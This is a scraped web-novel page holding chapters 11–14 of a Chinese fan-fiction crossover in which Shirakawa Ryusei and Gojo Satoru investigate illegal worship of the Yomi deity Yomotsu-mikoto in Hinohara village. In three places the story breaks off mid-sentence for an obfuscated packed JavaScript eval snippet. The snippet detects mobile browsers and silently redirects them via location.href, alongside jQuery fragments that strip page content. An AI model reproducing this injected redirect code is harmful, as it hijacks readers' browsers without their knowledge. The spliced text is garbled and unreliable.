他看到白川琉世年纪小小的,就要去出这么危险的任务,有些感慨,叮嘱了一句,“特级任务非常危险,你是第一次出这种任务吧,一切以保证自己的性命为先,凡事都有五条悟呢。” 白川琉世大为不解,“五条悟真的那么强吗?” “嗯,这点你很快就能体会到了。” “面对所有的咒灵都不会受伤吗?” “从来没听说过他受伤,毕竟有那种术式嘛。” “这么做任务,他不会感到累吗?与其说他自己的感觉,难道别人不会认为他会累吗?” “不会的,那可是五条悟。”辅助监督有些惊讶,没想到会听到这样的问题,“如果他会疲惫,一定不会这么高强度的做任务。既然他能一直这么做,就证明他承受得住,这不是显而易见的吗?” 真的是这样吗?就算再强,也是人类啊。他曾经真切地触碰过五条悟的身体,温热、柔软的身体,那是和他一样的人类之躯。 白川琉世想起了夏油杰的话,觉得更加荒谬了。普通人无法理解咒术师的话,那咒术师也并没有理解五条悟。按理说,他已经是最强的咒术师,应该没有比他更“咒术师”的咒术师了。然而,咒术界在把他当作工具使用时,一些虚伪的关心也没有。不管是普通人还是咒术师,都不能算是五条悟的同伴。 难道这就是最强永远是孤独的吗? 夏油杰认为能互相理解的才能算家人,而咒术师之间才能互相理解。在直面死亡的咒术师中,更容易遇到极端的情况,令人崩溃的痛苦,无法排解的孤独,人与人之间无法像普通人社会那样披上温情但虚假的外衣,各种冰冷的压力赤裸裸地压在每个人心上。 他忽然想起那个和夏油杰交谈的中午,也想起聚会那天临时出任务,回来时却没有表现出半点疲态的五条悟。啊,原来是这样,白川琉世忽然觉得自己明白了什么。 更强的那个,生有善意,却并没有动多少感情,因此世间的丑恶不会压垮他。更重感情的那个,道灭一定心死,为他人背负的越多,崩溃之后受到的反噬就越严重。 他忽然想起小时候在别人家里学习咒术知识的时候,好像有个很坏的狐狸眼小孩讥讽过他,“像你这样天真的家伙,根本不配做咒术师!” 这种恶毒的诅咒,现在听起来更像是祝福了。白川琉世一改之前的感觉,认为咒术师这种东西还真不是什么好差事,性命和休息时间无法保障不说,连精神都容易不正常。 咒术界改革,真是迫在眉睫! 11. 第 11 章 陌生人在昏暗空间对视4分钟,72%的人会产生强烈亲密感。 这是白川琉世在雅虎上搜索得出的结论。 …… 六个多小时后,车辆才在五条家门口停下。和白川琉世预想的一样,作为知名咒术家族的大少爷,五条悟的家同样在深山里,就连大门都和他小时候住过的那户人家大同小异。 雕着花纹的木质大门,充满平安京时代的风格。 话说回来,那家的姓氏是什么来着? 一般来说,这种家族一大家子只有一个姓,成员之间不会互相叫姓氏,不记得是再正常不过的。再说,也不是什么重要的事。 但是,五条家会不会也和那家的风气很像呢?作为备受瞩目的独生子,竟然没有被宠坏,五条悟真是天生的好性格。 此时占据了他脑海的五条悟,换上了高专的制服,正拉开车门准备上车。 “悟!”白川琉世马上大喊一声。 五条悟一副惊吓到的样子,“琉世,老子的耳朵还没聋呢。” 什么嘛,脸皮看起来很厚,叫前辈名字竟然没有一点不好意思。 不过,他恰好也欣赏这种直来直去的性格。 他坐在白川琉世旁边。车后座可以坐三个人,但两人都比一般人高出一些,腿也更长,曲起腿坐在位置上,空间并不宽松,膝盖和膝盖很容易就碰到了一起。 白川琉世看向两个人碰到的地方。几秒后,接触的位置开始传导体温,温暖的,和那天的感觉相似。 天色已经擦黑,辅助监督打开车头灯光,车内却依然昏暗。白川琉世在薄暮的暗色中,张开五指,用力伸展手掌,感受狭小空间空气的缓慢流动。 他的手覆着厚厚的刀茧,十分修长且骨节分明。因为从小活动量太大,他比一般人长得都快,如果说现在的白川琉世有什么烦恼,大概是生长期太耗能量,不管吃多少东西,都全供给骨骼了,导致他的身形虽不纤细,却还没有练出一身健美的肌肉,骨头总是隐隐透过皮肉,显出独属于少年的坚硬、嶙峋感。 但是五条悟就不一样。五条悟用不着像他那样拼命地进行体术训练,营养供给也十分科学,肌肉和骨骼的分布恰到好处,比他纤细一些,却完全不觉得瘦弱。 耗费人力物力,倾注万千心血,被完全滋养着的完美天赋,本身就是一种强大的彰显,而强大就是最惊人的美丽。 他回忆起那个在五条悟宿舍的晚上,触碰到了五条悟的背部和腿弯,用手、用前臂,不想惹当事人讨厌,他只做了一点最小程度的冒犯。 对人体有着超出常人精准理解的白川琉世,很容易就能推测出五条悟的身体状况,靠肉眼丈量的身高、臂长、肩围、腰围、足长,靠接触身体了解的体重、肌肉的密度以及……体温,还有肌肤的弹性。 [我一只手臂也可以把他抱起来。] 白川琉世莫名出现了这样的想法。 不对不对,这太奇怪了。 他听着五条悟那边的窸窸窣窣声,打开任务描述想再看一遍的同时,目光也忍不住看过去。 五条悟戴上了眼罩,手里拿着一支棒棒糖,感受到白川琉世的目光,动作停住了。 戴上了眼罩,是要睡觉吗?睡觉也要吃糖吗?他还真是惊人的嗜甜。白川琉世伸手把棒棒糖从五条悟手里抽出来,把糖纸剥开,再放到他手里。 五条悟噗嗤一声笑了。 “怎么了?” “没事,看不出来你还是贴心的类型。” “真的吗?还是第一次有人这么说我。” “但是,琉世还是不了解老子的六眼吧,上次说过后,还以为你会去了解一下。” 白川琉世尴尬住了。但是这也不能怪他,最近高专的大家都很忙。 “嗯……应该是很厉害的眼睛,类似于写轮眼?” “完全不是一个概念!写轮眼这种东西只能存在于漫画里,琉世,该对自己之外的人讲点科学了。” “难道六眼就科学吗?”白川琉世对六眼并非闻所未闻,“而且,你也不了解我的实力吧。” 五条悟隔着眼罩看向白川琉世,想到他们确实从没有进行过对练,对各自的实力也只是“略有耳闻”。 白川琉世同样看回去。 他至少知道,五条悟的六眼并非透视,能看到的只是空气中的咒力流动,以及能根据遗留的咒力残秽辨别建筑。换言之,能感受到他这个人在旁边,却无法看到他的视线。 眼罩带给了白川琉世更大的安全感。 他们对视着。 直到五条悟咬着棒棒糖,忽然凑近他。 “果然很完美吧,老子的脸。” “哇啊!” 白川琉世吓了一跳,猛地后仰,脑袋重重磕到了车窗。 默默开车的辅助监督:“……。” 算了,习惯了。 “原来能看到吗?” “你的视线太有存在感了。”能不能看到反而无足轻重了。 白川琉世收回视线,人在尴尬的时候总是格外忙碌,他询问辅助监督,“大叔,还有多久能到目的地啊?” “大约4小时。” “哈?不想和尊敬的五条学长待在一起吗?” “只是问下时间,坐车时间长了会累的好不好。” 五条悟缩回原来的位置,“原来你是累了吗?”这倒也是,白川琉世从东京过来了,大概已经坐了7小时的车,而他是刚上车的。 “那倒不会。”从前他在野外训练的时候,比这更难熬的事不知道经历过多少,“替你问一下。” 五条悟睁开面罩下的眼睛,睫毛眨了眨,被布料弄得有点痒。他愣了一下,刚刚那一瞬间,竟然产生了想用眼睛看下对方脸的想法。 “只有4小时左右的车程,开什么玩笑。”五条悟扬起肆意的笑容,“琉世还不知道吧,老子可是会飞的。” 白川琉世笑了一声,强行忍住,忍耐失败,还是全身颤抖着笑了出来。 这不能怪他,就算五条悟真的会飞,但任谁听到这种话还是想笑的。 …… 笑死。 他还真会飞啊。 任务目标在山里,没有车能开上去的路,到这里,辅助监督的任务也就完成了。 “你先回去吧,我们不知道在这里待多久,回去的路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15325631|167597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 程,我会通知别的辅助监督来接我们。” “好的,五条术师,白川术师,祝武运昌隆。” 白川琉世对向他们鞠躬的大叔挥挥手,“大叔,找个酒店住一晚再回去吧,别疲劳驾驶。” 辅助监督犹豫了一下,还是叮嘱他们,“一定要记得放帐啊,如果再忘的话……。” “好啦好啦,啰嗦。”五条悟捂着耳朵,率先逃开。 现在已经晚上11点了,任务所在地桧原村所在的山,并不是什么旅游景点,相反,因为地方偏僻,除了山上的原住民,罕有人迹。 刚想问下五条悟现在要不要上山的白川琉世,转头发现人不见了,抬眼看到远处站在树杈上,双手虚拢在嘴边做喇叭状的少年。 “快点追上来吧。” 哈?没在怕的。对山里比家里还熟悉的白川琉世,就是山里灵活的……咳咳。 今晚天气很好,月光皎洁,如白霜般落在地上,随着白川琉世行动的路线变换着明暗。他挥刀打退挡路的树枝,前进的动作出奇流畅,在距离五条悟那儿还有一半距离时,身旁的树枝传来被轻压的咯吱声。抬头一看,白发的少年踩在树枝上,眼罩不知道什么时候摘下来了,挂在指尖,正低头看着他。 那个人本来就很白了,如细雪堆砌般的皮肤,在月光下散发着莹润的色泽。流淌过睫毛的月光,淌入眼睛,藏在低头间的阴影里,偶尔露出的星点苍蓝,流露出少年神采飞扬的神色。 白川琉世停下脚步,心头涌起一股强烈的非人感。 糟了,如果五条悟是咒灵或者鬼的话,他会下不了手。 “听杰说,你的刀刃能变成红色,我能看看吗?” 白川琉世二话不说把佩刀往上一扔,被上方的人稳稳接住。 不仅下不了手,还会主动缴械。 刷地一声拔刀出鞘,五条悟调动起全部的精神,观察着刀的样式和花纹。刀柄的绑绳和刀鞘都是黑色,刀刃是白色,上面缀着金色射线状花纹,不是规则的形状,而是交叉着的,有些杂乱的纹路。 确实一模一样。莫非真的是曾经黄泉津的武器? 像石中剑那样,只能由特定的人拔出来。这把黄泉津的刀,也能因缘际会地找到黄泉津的转世吗? 他看向安静抬头仰望的少年。 黑色的短发在空中飘荡,金色的能涤荡灵魂的黄泉瞳,英俊的眉眼,利落好看的下颌线。 糟了。 五条悟默默收回视线。 那些梦真不是白做的啊。 就算他再怎么催眠自己这些都是巧合,是封建迷信,但其实是因为自己不愿意相信所以才迟迟不肯承认。 虽然他很喜欢看漫画,对前世今生这种时髦的元素也非常感兴趣,但是并不代表能丝滑地代入自身啊。 因为会做那样的梦,从小老爹就说他一定是菅原觉的转世,但他并没有那样的实感。对他来说,前世这种东西知道不知道根本没什么区别,反正五条家需要的是六眼加无下限不是吗? 不过,这种梦只有他做,白川琉世没有做过吗? “琉世,”他问眼巴巴看着他的学弟,“你有没有梦到过我?” 12. 第 12 章 五条悟马上就见识到了全自动式脸红蒸汽机。 变红了诶。嗯?是不是冒烟了? “这、这个……,”白川琉世结结巴巴地说,“目前还、还没有。” “目前?” “啊,不是!我的意思是说,没有梦到过。” “没有直接梦到么,那和我有关的呢?让你觉得奇怪的梦。” “什、什么……。”白川琉世呆住了。 奇怪的梦?奇怪的梦?奇怪的梦? 啊?是哪种,是那种?到底是哪样?是什么样的暗示?这到底是什么意思? “有还是没有?” “没、没有。”在持续性的结巴中,白川琉世决定放弃分析,实话实话。 而且,刚才五条悟没有说“老子”,而是自称“我”。 这又代表了什么? 这阅读理解他不会做啊! 诶?不是一直很镇定吗,怎么现在一副泵机的样子。五条悟看着大脑停止转动的白川琉世,顽劣地起了作弄的念头。 [琉世,你该不会是喜欢我吧?] 话到嘴边,五条悟忽然意识到了什么,捂住自己的嘴。 最强少见地感觉冷汗浸湿了后背。 如果说出来,那他和白川琉世就不得不面对这个问题了。 他的意思也并不是琉世一定喜欢他,只是对方表现得很热情,但那应当是追星的喜欢吧。听说琉世这家伙,可是把他当校园偶像呢。 和自己的迷弟开这种玩笑,也不算过分,为什么他会忽然感到不对劲,并把这句话列为绝对不可以开的危险玩笑呢? 这种事有点复杂,五条悟放弃了思考。 “刚才是老子给你开玩笑的,哈哈哈!”他掩饰地大笑起来,“是不是吓到了。” “原、原来是这样。”白川琉世接过五条悟扔给他的刀。 死嘴,不要再结巴了! 沉默了一会,双方都感觉现在的情形有点尴尬。 “算了,不管是呼吸法还是变红的刀刃,让我见识一下吧。”五条悟收回眼罩,拿出墨镜戴上,“别磨磨蹭蹭的了,琉世。” “不抱着战斗的心态,根本不能……,哇啊!” 不就是战斗吗,他可是早就摩拳擦掌了。 “术式顺转·苍。” 在修长指尖跃动的蓝色光团,约莫巴掌大小,裹挟着风和树叶,以摧枯拉朽的气势向他袭来。 打一下估计身体会穿个洞,但是,速度并不快,躲开就行。 黑发少年猛地蹲下,压低下盘,躲过了苍和扑面而来的拳风。苍蓝色的光团滑出很远,白川琉世没有回头,只靠声音就分辨出了击打范围。 没有用全力吧。 但是,他也一样。 “风之呼吸·十之型·风缠。” 深深呼吸,山间清凉的空气填满肺部,身体熟悉的感觉,紧握的刀柄,让他本能地拥有掌握一切的信心。 如果五条悟一直使用无下限术式,那么那些斩击根本没用。白川琉世选择了能增加斩击速度、攻击力和范围的风呼十之型,伺机而动寻找机会。 “很棒的战斗本能。”五条悟挂着兴奋的微笑,接连不断地用体术攻击,墨镜镜片上倒映着少年高速移动的残影。 “速度很快,力道也很棒,已经超出预期了。” 六眼快速收集着周围的一切信息。 非常强大的心肺功能,这个呼吸功能已经不算是人类了吧。心脏跳动频率和收缩能力远超常人,肌肉的爆发力非常恐怖,力道完全不像是这种肌肉量的身材能做到的。感官很敏锐,完全看得清他的动作。擦伤很快就愈合了,琉世不会反转术式,原来如此,因为呼吸法带来了高效供能和身体机能的提升,促进了细胞的修复么。 白川琉世控制着自己呼吸的频率,在此基础上,没有开口说话的余力。五条悟打人真的很疼,拳头上是包裹了咒力吧,打在人身上像包了层砂铁一样。还好他结实,刚才挨了一下,差点被打吐了。 六眼加无下限真的太耍赖了,他倒是想试试看,自己的全力一击能不能斩破无下限,但是,如果真的斩破了,无下限里面的人最少也是个重伤吧。 做什么梦呢,他真的能斩破无下限吗? 又是一波普通连续斩被隔开,本来应该感到挫败的,但五条悟一直心情很好的样子,随着巨痛的拳头而来的是肆意的笑声,搞得白川琉世也很没出息地放弃了让对方看看他真本事的想法。 他顺着冲击力滑退,草叶在脚下滑出波浪,半真半假地摔在树干上,“试探就到此为止了,下次找个地方痛快地打一架吧。” 害怕五条悟打高兴了把山轰平了,那确实也不用做任务了。 五条悟也有同样的意思。 半夜的时间段,没有一定要加快速度赶路的必要,两人继续往山上走去,任务地点桧原村在半山腰上,也是山里唯一的村落。 白川琉世向五条悟说明他掌握的呼吸法,“风之呼吸十式,水之呼吸十式,雷之呼吸一式,以及日之呼吸十二式。这些是我会的呼吸法的招式,不过,我也在新阴流门下学习过一段时间,一些普通的招式也会。” “咦,在新阴流学习过?是在去禅院家学习咒术前,还是之后?” “什么禅院家。”陌生的词汇让白川琉世一愣,“啊?不会是我小时候待过的那家吧。” “你这家伙不记得禅院家的名号了吗,噗哈哈哈哈。”五条悟大笑起来,“一想到那些高傲的家伙可能会出现的挫败样子,就好想笑。” “确实都是高傲的家伙,啊,除此之外还有冷漠的家伙。”那确实是白川琉世对禅院家仅剩的印象,“但是悟是怎么知道的?” “稍微……做过一点调查。”虽然毫不心虚,但还是表现出来一点吧,“我们家和禅院家也有一些来往,杰说过,你在一个很讨厌的咒术师家族学习过一段时间。很讨厌的咒术师家族,也没有几个啦,稍微问下就知道了。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15325632|167597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 因为听夏油前辈提过,就这么上心。白川琉世内心雀跃,努力压下嘴角。 “因为我是咒力真的特别少,没过多久就被扫地出门了。哈哈,如果不是因为产屋敷爷爷,他们大概不会让我进家里大门吧。” “这种事也笑得这么开心,琉世,你脸皮还挺厚的。”五条悟把墨镜推上去一点,侧过头看他,“不用安慰失落的后辈,老子也会觉得轻松啦。” “这种事没什么好在意的,我又不是抱着成为咒术师的梦想活下去的。而且,根据数量来说,呼吸法只有我一个人用,才是稀有款。” 五条悟又笑起来了,白川琉世发现他是爱笑的类型,有时候笑得张扬肆意,非常好看,有时候笑起来有点疯。 现在看起来就有点疯。 “琉世,那你的梦想是什么呢?” “……拥有在这个世界活着的入场资格。很难理解吧,我也解释不清楚。” 五条悟看向他,却并没有表现出明显的疑惑。 和大家不同的人,是无法像一滴水融入大海一样,融入人群的。可能更像是一滴油,或者有颜色的颜料,是令大家侧目的存在。就算身体在其中了,其他方面也有着可悲的厚障壁。 第一次上学,和同龄人交朋友,也是从高专开始的五条悟,莫名理解了白川琉世的想法。 “那就加油吧。”这种事,要做到可是很难的。 “那是当然的了。”白川琉世回忆着从前,“啊,刚才说到哪了。我被禅院家扫地出门,就又被产屋敷爷爷介绍到新阴流的道场学习。那里还好,把我当普通学员对待。我没什么咒力,用不出简易领域,这点让教我的师父很失望。” “有的咒灵也会领域展开的哦。”五条悟指出,“你没有足够的咒力,没办法展开领域,也学不会简易领域和领域延展,因此,面对能展开领域的对手十分危险。” “我有想过应对的办法,不过总是还差点什么……。”两人并肩走着,前方不远处已经能看到路灯的光亮,村子的轮廓也显现出来了。 “现在这个时间,村民应该睡了吧,没有接应我们的窗吗?” “这里已经变得越来越危险了,窗不适合再待在这里。” “很危险吗?但是我没有闻到咒灵的臭味。” “情况果然像老子想的那样复杂。”五条悟拍了下白川琉世的背部,“好了,琉世,我们先暗中调查,今晚能解决事情最好,不行的话,明天再询问村民。” 任务描述里,给到的唯一有用的线索,就是“村内非法供奉黄泉津御命(道反大神、塞坐黄泉户大神)”如果说村内供奉的话,应当是有公共的神社。白川琉世把推测告诉五条悟,“我们可以先找找有没有村民集中供奉的地方。不过,人物描述里写的非法供奉是什么意思。又不是邪神,为什么不能私下里供奉?” 辅助监督之前已经发给他关于这位神祗的资料,为了保险,他自己也去网上查了一下,却远没有辅助监督给的全面。 13. 第 13 章 黄泉津御命,是黄泉津比良坂的神。 相传,创世神伊邪那岐与伊邪那美共同创造了日本列岛及众多神明。然而,伊邪那美在生下火神迦具土时被烧伤致死,堕入黄泉国。 伊邪那岐悲痛欲绝,想要前往黄泉带回妻子。他来到黄泉国入口——黄泉津比良坂,请求伊邪那美随他返回现世。伊邪那美表示自己已食用黄泉的食物,无法离开,但答应与黄泉神祇商议。她叮嘱伊邪那岐在此期间不可窥视自己。 不过,伊邪那岐没有遵守约定。他看到伊邪那美身躯腐烂、爬满蛆虫,惊恐之下转身逃跑。伊邪那美因对方毁约愤怒至极,派人追杀伊邪那岐。 伊邪那岐一边逃亡,一边用随身物品阻挡追兵,最终逃至黄泉比良坂,用“千引石”堵住通道。至此,生死两界彻底分离,二人也断绝了夫妻关系。 从此之后,伊邪那美被尊为黄泉津大神、黄泉津国主。而连接现世与黄泉国的通道,隔绝现世与幽冥的不可逾越之界——黄泉津比良坂,也诞生了一位守护者,被称为黄泉津御命,通常也叫做道反大神,传说他拥有隔绝生死、驱邪避灾、净化污秽,乃至保护交通安全的力量,是守护现世安宁的重要存在。 关于供奉黄泉津御命的神社,辅助监督也整理了详细的资料,发到了他的手机上。 离这里不远的出云地区,就拥有一座人气不低的道反神社,大概因为这地方一直有“黄泉津比良坂就在本地”的传说。不过,根据资料提示,全国主祭道反大神的神社,只有这1座,其他地方没有公开祭拜的神社。 剩下的资料,看得出是辅助监督很努力在网上找的了,每一条都标着“存疑”“考据不详”等字样。是几个私祭黄泉津御命,不是精神失常,就是自尽的例子。 因此,窗和辅助监督,都得出了非法供奉黄泉津御命可能与桧原村的乱象有关。 但是,为什么呢?又不是什么恶鬼,私下供奉也会索人性命吗?原因是什么? “对啊,为什么不允许供奉呢?”五条悟轻飘飘地把问题抛回去,“琉世,只看资料是找不到答案的。” “悟,你是不是知道什么?” “琉世,日本的神明和神社都是非常多的。供奉老子的祖先——菅原道真的天满宫,在全国范围内就有一万多座,更别说稻荷神社或者八幡宫了。黄泉津御命作为一位还算有名气的神明,只有一座神社,你不觉得奇怪么?” 他们站在村子不远处的树下,一边观察村子的格局,一边小声交谈着。听到五条悟的话,白川琉世马上抬高声调,“诶?真的假的,你是菅原道真的后代?” “确实如此。”说到自己的家世,五条悟从来没有不好意思的感觉,非常坦然地承认了。 “那你的成绩一定很好,学什么都很快,毕竟祖宗保佑。” “虽然老子的成绩确实很好,但这和祖先没什么关系,完全是老子天生有一颗聪明的头脑。” “聪明的头脑不还是靠祖先一代代遗传下来的。”白川琉世有理有据,“还有,那你为什么不姓菅原,姓五条?” “因为老子家里改过姓。”五条悟戳着白川琉世的额头,“重点是这个吗?是时候别再这么天然了,老子感觉自己要夜蛾化了。” 诶? 被戳了一下诶,没有无下限? 白川琉世愣了一下,捂着脑门,不停点头,“我知道了,所以为什么只有一座神社呢?” “准确来说,是两座哦。” “诶?你刚才还说一座。” “哈?” 看到对方炸毛的样子,白川琉世忍住笑意,“啊,那只是一种衬托接下来谈话内容的说话技巧,我明白的,请继续说吧!” “因为另外一座在我家后山上。” “诶?为什么?” “当然是因为,黄泉津御命和我家很有交情啊。” “……。” “怎么不说话了,琉世?” “你不会要告诉我,神是真的存在的吧。” “虽然老子也没见过,但应该是吧。”五条悟伸出食指,点在下唇上,一副思考的神色。 白川琉世:“……。” 沉默淹没了思绪。 早知道这样,他就不那么认真地学习自然科学了,如果真的有神,为什么不抛弃科学,让封建迷信填满他的脑子呢,这样说不定天翔龙闪都能用出来了。 “喂喂,打击这么大?这个世界上可是连咒灵和咒术师都有,不仅如此,还有妖怪、鬼魂、邪灵,有拥有灵力的巫女,有修为的和尚,没落的阴阳师,甚至还有时髦的灵能力者。科学是存在的,但神也存在这件事,不会让人惊讶吧。” 完蛋,这世界比他想象的还混乱。 “嗯……,我懂了,还有呢?” 五条悟看着白川琉世充满迷茫的黄泉之瞳,噗嗤笑了出声。真是太奇怪了,向神证明神真的存在吗?不过,只是拥有神的灵魂,那真的算是完整的神么。 “接下来我要说的,会让人难以理解。”他摇晃着修长的手指,试图吸引白川琉世的注意力,“其他的神明或许真的存在,但他们从未真的来到人间行走过,即使来到过人间,也并没有觉醒神的意识和能力。因此,对他们的祭拜,只作为一个广泛的概念寄托众人的希望。但是,千年前,黄泉津御命真的来到过人间,拥有着神的强大力量,我们所在的这个世界,可以说法则,就记住了他的存在。” 五条家的古籍详细地记载了很多东西,包括信仰黄泉津的禁忌,千年前那个黄泉津转世力量的觉醒方式。因为写得太过详细,令五条悟一直没办法断定那是假的。 神明转世到人间,灵魂自动为自己下了禁制,诞生后,以人类的身份成长,以人类的角度思考问题,那么也只是和常人无异的人类罢了。 只有不断完善自己作为神明的认知,神力才能完全觉醒。 白川琉世:“嗯……理论上是明白了,意思是别的神祭拜一下没关系,但是黄泉津御命不行,因为他真的会显灵。” “哪有那么容易显灵。”五条悟又摸出一根棒棒糖,塞进嘴里,“不会显灵啦,不会有任何反应,而且他不是邪神,不会降灾于人。祭拜他的人打开通道,只是靠近了他的本质。琉世,你知道黄泉津比良坂是什么地方吗?” “通往冥途的地方,黄泉与人间的交界地。”就算是村通网,这些事他还是知道的。 “黄泉津比良坂充斥着恐惧、绝望,那种地方,对人类来说是危险的,普通人会在那种情况下迷失,慢慢就会精神失常。桧原村这种因信仰模糊了与黄泉边界的地方,负面情绪积蓄了太多,也非常容易招惹咒灵。”五条悟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15325633|167597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 故意压低声音,本来偏甜的嗓音,也多了一些森森的阴冷。 咒灵?白川琉世深吸一口气,充足的氧气让大脑更加清晰了几分,“没关系,目前没闻到咒灵的味道。” “这个老子也能看到。真是的,说了好多话,老子都渴了。” “是吃糖吃太多了吧。” 白川琉世看了眼五条悟的包,只是个挎包,很小,估计装个手机,再装一把糖就没空了。他认命地拉开书包,把保温杯的水倒进杯盖里。 “水还没怎么凉呢。”他把杯盖放到五条悟手上,眼睛自然地看向他的嘴唇,像等待某种仪式一样。 “你盯着老子做什么?”五条悟拿着杯盖,发现白川琉世目光灼灼地盯着他的脸,“难道里面放了芥末,或者辣椒粉?琉世,你想恶作剧?” 他看着杯子里的水,甚至用了六眼仔细观察。 怎么看都是普普通通的一杯水。 “啊?”白川琉世这才察觉,自己只是想看五条悟喝水的样子,并且是认真地期待着。 “没什么,”他把目光刷得移向一边,“水里什么也没有,我才不是喜欢恶作剧的人呢。” 他拿回杯子喝了一口,“不行我喝给你看。” 五条悟只是随口一说,并不是真怀疑他什么,重新拿过杯子,一口气喝光了里面的水。 “但是,”白川琉世眼睛依旧望着别处,“道反神社是怎么回事呢?不是一直经营着吗?” “那个啊,资料上有它建立的日期,应该是……。” “奈良时代到平安时代初期。” “那就对了。在道反神社建立的时候,那个被称为黄泉津御命转世的男人,还没有来到人间。” 白川琉世听五条悟说了一个好像很长,但他说的很简单的故事。 “平安京年代有个诅咒师,叫两面宿傩,喜欢吃人,还杀了很多人,老子家里有个笨蛋祖先,也是六眼,被他杀了。但是笨蛋祖先死后,忽然冒出来一个男人,好像和他有私情的样子,为他报仇,把两面宿傩杀死了。那个男人传说是黄泉津的转世。 道反神社从此香火鼎盛,天皇也要为他修建更多、更华美的神社,但通通被黄泉津拒绝了。除了早就存在的道反神社外,他严格禁止任何人私下里供奉他。” “不愧是神,早就预料到了会发生的事。”随着细节的补充,白川琉世已经没有多少疑惑了。况且,世界上有六眼这样仿佛不应存于人世的眼睛,他已经什么都可以相信了。 “不过,五条家是个例外,供奉黄泉津上千年,一直平安无事,家里老头子说,是因为黄泉津对五条家有格外的感情,嘛……,老子其实也不怎么信,毕竟老头子们一个个都喜欢往自己脸上贴金。” 总监部的那些老橘子们,一个个都对他们家这些事门儿清,所以这次任务才认为必须要委派给他。 “有可能是真的哦。” 白川琉世看着墨镜下偶尔露出的一点苍蓝色。 神明偏爱六眼,这种情况他并不觉得令人意外。 五条悟:“……。” 如果别人这么说,他肯定大声反驳并加以嘲笑,但说话的是黄泉津本人,虽然是什么也不知道的黄泉津。 正主都说话了,难道传说中的私情是真的? 五条悟的沉默震耳欲聋。 14. 第 14 章 “琉世,你有没有感觉到很强烈的死气。” 死气?死气是什么?他只能闻得到咒灵的臭味。 现在空气清新,风景怡人,村子看起来没有任何奇怪的状况。对五条悟说的死气,他怀疑是不是自己的感知能力出了问题。 “没有,我感觉一切正常。” “这样啊。”五条悟摸了摸下巴,更加坐实了自己的推测。 处在生死之间的黄泉津御命,是不会承担生与死的压力的。 00:23分。 桧原村有人口二百余名,村庄线路图被辅助监督妥帖地发到两人的手机上。白川琉世看着明显标红的,距离村庄有一小段距离的神社。 好像详尽的游戏攻略,连任务目标都标出来了。 白川琉世:“按照这个思路,我们只需要把神社破坏掉,村民就会自己恢复正常了。至于怎么跟他们解释神社的事……。” “这种顽固的村民很难沟通的,威胁一顿就好了。” “你还真是直接,不过听起来这样最省心了。” “老子一向效率至上。如果是杰的话,大概还要安抚村民。啧,大义嘛。” “那我们偷偷溜进去,放火的不要,会引起森林火灾,动静太大的不要,会惊醒村民,到时候被普通人群殴就麻烦了。”白川琉世思路转的很快,“我下帐,你来搞破坏。” “当然——没问题!” 他们鸟悄摸到神社门口。 神社前,朱红的鸟居挂着一长串注连绳,短短的参道旁是依旧亮着灯光的石灯笼。本殿不大,但周遭打理的很干净,一看就是被日常使用着的。 “由暗而生,比黑更黑……。” 白川琉世想要放帐,抬头向本殿方向望去,和一张瞪着棕色眼睛,惨白的小脸对上了。 “嘶。”他倒吸一口凉气。 考虑的再全面,没想到还有这种突发事件啊。 “有鬼,悟,这里有鬼。”他压低嗓音,连忙去拽五条悟的衣袖。直到被无下限隔开,才注意到自己的动作。 “啊,那是人类。”五条悟看了一眼就断定,“看来计划有变了呢,琉世。” 白川琉世松了一口气,这才敢第二次看过去。那是个面容惨白的女孩,年龄不大,脸上还有孩子的稚气。 他看向那双棕色的眼睛,想要读取其中的情绪。 “大哥哥!”女孩与他对视,忽然怔了一下,从面无表情变成神色仓惶,“快逃!快逃啊!” 白川琉世的第一反应—— 一阵风略过五条悟,吹散了他的发丝。甚至在他还没来得及反应的时候,一道清脆的拔刀声在远处响起。 六眼捕捉周围发生的一切,但在那之前,白川琉世就消失在原地。 五条悟瞳孔微缩,这种速度—— 黑发的少年拔刀劈开了正殿的大门,散发着冷淡金属光辉的眼睛在房间内扫视着。 一个棕发棕眼的小女孩站在窗前,大约十二三岁的样子,穿着有些过大的衣服,低着头,抱着肩膀瑟瑟发抖。 “发生什么事了,小妹妹。” “你是不是把她吓到了?”五条悟从后面钻出来,走近女孩,“琉世这样还挺吓人的。” “我这不是以为她有危险嘛。”看五条悟悠哉的样子,白川琉世也松了口气,“你看出什么了吗?” 女孩的咒力很平常,平常的就像普通人,但这间屋子里,浓重到极点的压力是怎么回事。六眼无法观测这种意料之外的能量,而且,琉世也并没有感到任何不适。 “没什么异常。” "大哥哥,你是来救人家的吧,人家好害怕,呜呜呜呜。"女孩捂着脸,哭了起来。 白川琉世尽量放轻声音,“你叫什么名字,是村子里的人吗?大晚上为什么会在这,家人不会担心吗?” 